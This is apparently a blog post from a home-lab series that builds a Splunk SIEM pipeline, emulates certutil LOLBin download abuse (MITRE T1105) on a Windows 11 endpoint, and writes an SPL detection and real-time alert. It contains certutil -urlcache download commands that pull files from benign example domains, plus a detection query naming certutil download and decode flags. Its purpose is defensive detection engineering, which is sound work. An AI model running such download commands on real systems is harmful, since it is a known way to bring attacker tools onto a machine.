In Part I of this series, I laid the foundation for this SOC home lab: a Windows 11 endpoint (WIN11-TARGET) and a Xubuntu SIEM (soc-siem), with Sysmon and PowerShell logging configured and routed into Splunk through the Universal Forwarder.
Collecting logs is only half the work. This phase is about actually using that telemetry, simulating a local threat, writing a detection rule against it, and verifying the whole pipeline fires correctly.
Before Starting: Creating a Dedicated Index
Before the detection work, I wanted Windows telemetry sitting in its own index rather than mixed into Splunk's default main. I edited inputs.conf to assign every stanza to a new index, windows:
@'
[WinEventLog://Application]
disabled = 0
index = windows
[WinEventLog://Security]
disabled = 0
index = windows
[WinEventLog://System]
disabled = 0
index = windows
[WinEventLog://Microsoft-Windows-PowerShell/Operational]
disabled = 0
index = windows
[XmlWinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = 0
index = windows
'@ | Set-Content "C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf"
Searching index=windows in Splunk came back empty. index=main still had data, which told me the new index didn't actually exist on the Splunk Enterprise side yet. Declaring an index in inputs.conf doesn't create it on its own.
While sorting this out, I made two changes: I created the windows index through Splunk Web (Settings → Indexes → New Index), and I also switched the Sysmon input from WinEventLog to XmlWinEventLog, trying to rule out whether the input type itself was the problem. Looking back, the missing index was almost certainly the actual cause, Splunk drops events headed for an index that doesn't exist rather than storing them somewhere else. But the XmlWinEventLog change was already in place by the time things started working, so that's what stayed.
After creating the index, index=windows started returning results.
Phase 1: Local Threat Emulation (LOLBin Simulation)
To test the SIEM, I needed realistic malicious telemetry. Attackers frequently abuse trusted, built-in Windows utilities, known as Living-off-the-Land Binaries (LOLBins), to execute attacks while blending in with normal administrative traffic.
A classic example mapped to MITRE ATT&CK (T1105: Ingress Tool Transfer) is the abuse of certutil.exe. While normally used for certificate services, adversaries leverage its URL caching features to download malicious payloads.
To simulate this on the Windows 11 endpoint, I navigated to a highly writable directory to bypass standard folder restrictions, then executed the payload download:
powershell
cd C:\Users\Public
certutil.exe -urlcache -split -f "http://example.com" test.txt
This command reaches out to an external domain, caches the file, and drops it on disk. Sysmon and PowerShell script block logging record the process creation and command-line execution, forwarding it to Splunk.
Phase 2: Raw Telemetry Validation in Splunk
Switching to the Xubuntu workstation, I needed to verify the telemetry landed and contained the artifacts needed for a detection rule.
In Search & Reporting, I ran a broad query over the last 15 minutes:
spl
index=windows "urlcache"
Expanding the resulting event showed the ProcessName (certutil.exe) and the full CommandLine containing the exact execution string.
The pipeline works, but a keyword search like this isn't a detection rule.
Phase 3: Detection Engineering & SPL Refinement
A rule that simply watches for certutil.exe would drown the SOC in false positives, since legitimate certificate operations use the same binary constantly. What actually distinguishes malicious use is the specific flags attackers rely on for payload retrieval and decoding.
spl
index=windows certutil.exe ("-urlcache" OR "-split" OR "-f" OR "-decode")
This narrows the results to executions attempting to download or decode files, rather than flagging every routine certutil call.
Phase 4: Real-Time Alerting & Validation
Catching an event manually during a threat hunt is useful, but a SOC relies on automation to triage threats quickly. I converted the SPL query into an active alert.
In Splunk Web:
Save As > Alert
Title: Suspicious CertUtil Download Flags Detected
Alert Type: Real-time
Trigger Condition: Per-Result
Trigger Actions: Add to Triggered Alerts
I used Real-time here for testing purposes. In a production environment, scheduled searches are the more common choice, real-time search is resource-intensive and generally reserved for cases that genuinely need second-by-second detection.
To validate the pipeline end to end, I returned to the Windows 11 machine and ran a slightly modified command:
powershell
certutil.exe -urlcache -split -f "http://example.org" alert_test.txt
Checking Activity > Triggered Alerts in Splunk, the rule fired as expected.
Conclusion & Next Steps
This phase turned the lab from a log collector into something that actually filters and alerts on adversarial behavior, with a dedicated index keeping that telemetry separate from everything else flowing through Splunk.
Next, I'm introducing Kali Linux to simulate remote network attacks and mapping that network-level telemetry into the same SIEM.
Top comments (1)
Amazing